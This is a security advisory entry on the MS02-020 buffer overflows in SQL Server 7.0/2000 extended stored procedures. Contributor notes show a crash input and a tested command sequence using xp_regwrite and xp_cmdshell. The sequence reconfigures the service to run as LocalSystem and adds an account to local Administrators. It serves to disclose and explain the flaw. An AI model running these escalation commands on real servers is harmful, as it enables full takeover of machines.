COMMAND
	SQL server extended procedure buffer overflow
SYSTEMS AFFECTED
	SQL Server 7.0 and 2000
PROBLEM
	In Microsoft security advisory [MS02-020] :
	Several of the Microsoft-provided extended stored procedures have
	a flaw in common  -  namely,  they  fail  to  perform  input  validation
	correctly
	...
	An attacker could  exploit  this  vulnerability  in  one  of  two  ways.
	Firstly, the attacker could attempt  to  load  and  execute  a  database
	query that calls one of the affected functions. Secondly, if a  web-site
	or other database  front-end  were  configured  to  access  and  process
	arbitrary queries, it could be possible  for  the  attacker  to  provide
	inputs that would cause the query  to  call  one  of  the  functions  in
	question with the appropriate malformed parameters.
	Toni Lassila adds :
	At least one confirmed case of buffer overflow:
	
	> xp_enumgroups '<long string>'
	[Microsoft][ODBC SQL Server Driver][DBNETLIB]ConnectionCheckForData
	(CheckforData()).
	Server: Msg 11, Level 16, State 1, Line 0
	General network error. Check your network documentation.
	Connection Broken
	
	Bronek Kozicki adds :
	As                               stated                               on
	http://www.appsecinc.com/resources/alerts/mssql/02-0000.html   following
	ext. procedures are available to 'public':
	
	* xp_mergelineages  (MSSQL2K)
	* xp_proxiedmetadata (MSSQL2K and MSSQL7)
	
	SQL Server 2000 _can_ run under non-administrator  account,  however  it
	requires full access to registry key:
	
	HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MSSQLServer
	
	as  explicitly  stated  in  "Setting  Up  a  Secure  SQL   Server   2000
	Installation"
	
	http://www.microsoft.com/technet/prodtechnol/sql/maintain/security/sql2ksec.asp 
	
	Having  this  access  level,  SQL  server  process  is  able  to  modify
	"ObjectName" value in the  registry.  This  is  enough  to  re-configure
	service to run as LocalSystem. Hence, attacker able to  run  code  under
	SQL Server account is able to re-configure service to run under  highest
	possible local privileges, even is SQL  Server  is  running  as  regular
	user. For this reason, securing SQL  server  by  means  of  using  least
	privileged account for the service is simply ineffective -  opposite  to
	what Microsoft says in above referenced article, and in MS02-020.
	This is result of required by SQL Server access level  to  registry  key
	where service configuration is kept. SQL  server  also  delivers  stored
	procedure for this type  of  operation:  xp_regwrite  (undocumented)  so
	this can be verified without writing shellcode:
	
	xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\MSSQLServer',
	'ObjectName', REG_SZ,'LocalSystem'
	xp_cmdshell 'net stop mssqlserver /y & net start mssqlserver'
	
	After changing registry and  restarting  service  -  voile!  Instead  of
	being poor user, you have local  root!  Of  course,  you  may  use  this
	privilege for one thing only - put  user  account  used  by  SQL  Server
	before to local Administrators group, and restore previous value.  There
	is undocumented xp_regread extended stored procedure, which can be  used
	to read account name, before changing it to LocalSystem.
	
	[re-establish connection]
	xp_cmdshell 'whoami'
	xp_cmdshell 'net localgroup administrators DOMAIN\someacocunt /add'
	xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\MSSQLServer',
	'ObjectName', REG_SZ,'DOMAIN\someacocunt'
	xp_cmdshell 'net stop mssqlserver /y & net start mssqlserver'
	[re-establish connection]
	xp_cmdshell 'whoami'
	
	... and you have old configuration back, with one  difference:  now  you
	own the machine! Everyone may try above, it has  been  tested  and  will
	run if you have 'sa' level, or you may code this in  C  (use  Open  Data
	Services) and put in own extended stored procedure (or shellcode  ?  :>>
	) to run under SQL service account. You will gain  local  Administrator,
	no matter what local restrictions was put on SQL Server account.
	I want to point that this  is  _not_  problem  of  poor  administration:
	administrator of this machine have done  everything  to  secure  his/her
	server,  except  removing   undocumented   Microsoft   extended   stored
	procedures. Of course,  sane  administrator  will  not  allow  untrusted
	users to run any code on SQL server as 'sa', but this is not the  point.
	My point is to explain why one of mitigating factors put in MS02-020  is
	UNTRUE. Attacker able to run code in SQL  Server  process,  or  as  'sa'
	will own the machine. Opposite to what Microsoft  says:  you  may  _not_
	relay on local restrictions  effective  on  SQL  service  account  as  a
	security measure!
SOLUTION
	see :
	
	http://www.microsoft.com/technet/security/bulletin/ms02-020.asp